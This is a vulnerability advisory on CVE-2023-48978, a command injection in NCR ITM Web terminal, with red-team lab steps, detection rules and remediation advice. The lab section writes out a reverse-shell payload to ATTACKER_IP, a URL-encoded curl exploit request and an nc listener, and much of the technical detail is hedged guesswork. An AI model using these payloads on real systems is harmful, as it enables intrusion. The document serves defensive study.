CVE-2023-48978

Executive Summary

CVE-2023-48978 is a critical vulnerability affecting NCR ITM Web terminal versions 4.4.0 and 4.4.4. The flaw allows a remote attacker to execute arbitrary code by sending a crafted script to the IP camera URL component. This vulnerability can lead to full system compromise, data exfiltration, and lateral movement within the network. No public proof-of-concept (PoC) or patch is currently available, making this a high-risk zero-day scenario for organizations using the affected software.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official CVSS vector assigned)
• Attack Vector (AV): Network (likely)
• Attack Complexity (AC): Low (likely)
• Privileges Required (PR): None (likely)
• User Interaction (UI): None (likely)
• Scope (S): Unchanged (likely)
• Confidentiality (C): High (likely)
• Integrity (I): High (likely)
• Availability (A): High (likely)

Threat Level: Critical. The lack of a patch and public exploit details increases the risk of targeted attacks.

Deep Dive & Mechanics

The vulnerability resides in the IP camera URL component of NCR ITM Web terminal. The application fails to properly sanitize user-supplied input when processing camera URLs. An attacker can inject arbitrary commands or scripts into the URL parameter, which are then executed by the server with the privileges of the web application.

Attack Vector:

1. The attacker identifies a vulnerable NCR ITM Web terminal instance.
2. The attacker crafts a malicious URL containing a script or command injection payload.
3. The attacker sends the crafted URL to the vulnerable endpoint (e.g., via HTTP GET/POST request).
4. The server processes the URL without proper validation, executing the injected code.
5. The attacker gains remote code execution (RCE) on the server.

Potential Payloads:

• Command injection: http://camera-ip; whoami
• Script injection: http://camera-ip<script>alert(1)</script>

Vulnerable vs. Patched Code

Since no patch is available, a comparison cannot be made. However, the vulnerable code likely lacks input validation and output encoding for the camera URL parameter.

Vulnerable Code (Conceptual):

# Vulnerable Python example
camera_url = request.GET.get('camera_url')
os.system(f"ping {camera_url}")

Patched Code (Conceptual):

# Patched Python example
import subprocess
camera_url = request.GET.get('camera_url')
# Validate URL format
if not is_valid_url(camera_url):
    return error_response()
# Use subprocess with arguments list to prevent injection
subprocess.run(["ping", camera_url])

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable NCR ITM Web terminal (v4.4.0 or v4.4.4) in a controlled environment.
2. Use a tool like Burp Suite or curl to interact with the web interface.

Exploitation Steps:

1. Identify the vulnerable endpoint (e.g., /camera?url=).
2. Craft a payload to execute a reverse shell:

   http://camera-ip; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
   

3. URL-encode the payload and send the request:

   curl "http://target/camera?url=http://camera-ip;%20bash%20-i%20%3E%26%20/dev/tcp/ATTACKER_IP/4444%200%3E%261"
   

4. Listen for the reverse shell on the attacker machine:

   nc -lvnp 4444
   

Blue Team

Detection Steps:

1. Monitor for unusual HTTP requests to the camera URL endpoint.
2. Look for URL-encoded command injection patterns (e.g., ;, |, &&).
3. Check for outbound connections from the NCR ITM server to unknown IPs on unusual ports.
4. Review logs for unexpected process execution (e.g., bash, nc, python).

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing camera_url parameter with special characters (;, |, &, $)
  • Outbound connections from the NCR ITM server to suspicious IPs on ports 4444, 8080, etc.
• File IOCs:
  • Unexpected files in /tmp or web directories (e.g., shell.php, exploit.sh)
• Process IOCs:
  • Unusual processes like bash, nc, python, perl spawned by the web server user
• Log IOCs:
  • Web server logs showing 400 or 500 errors for the camera URL endpoint
  • System logs showing sudo or su usage by the web server user

Detection Engineering

YARA Rule

rule CVE_2023_48978_NCR_ITM_Web_Terminal {
    meta:
        description = "Detects exploitation attempts for CVE-2023-48978"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-48978"
    strings:
        $s1 = "camera_url" nocase
        $s2 = ";" nocase
        $s3 = "|" nocase
        $s4 = "bash" nocase
        $s5 = "nc" nocase
    condition:
        all of ($s1, $s2, $s3) or ($s1 and ($s4 or $s5))
}

Sigma Rule

title: CVE-2023-48978 NCR ITM Web Terminal Exploitation
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts for CVE-2023-48978
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "camera_url"
        cs-uri-query|contains|any:
            - ";"
            - "|"
            - "&"
            - "$"
    condition: selection
falsepositives:
    - Legitimate use of special characters in camera URLs (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-48978 NCR ITM Web Terminal Exploitation"; flow:to_server,established; content:"camera_url"; http_uri; pcre:"/(;|\||&|\$)/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected NCR ITM Web terminal instances from the internet.
2. Implement strict input validation for the camera URL parameter (allow only alphanumeric characters, dots, and slashes).
3. Apply a Web Application Firewall (WAF) rule to block requests containing special characters in the camera URL parameter.
4. Monitor logs for exploitation attempts.

Long-term Actions:

1. Contact NCR for an official patch or workaround.
2. Consider upgrading to a non-vulnerable version if available.
3. Implement network segmentation to limit the impact of a compromise.
4. Conduct a security audit of the application code.

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division.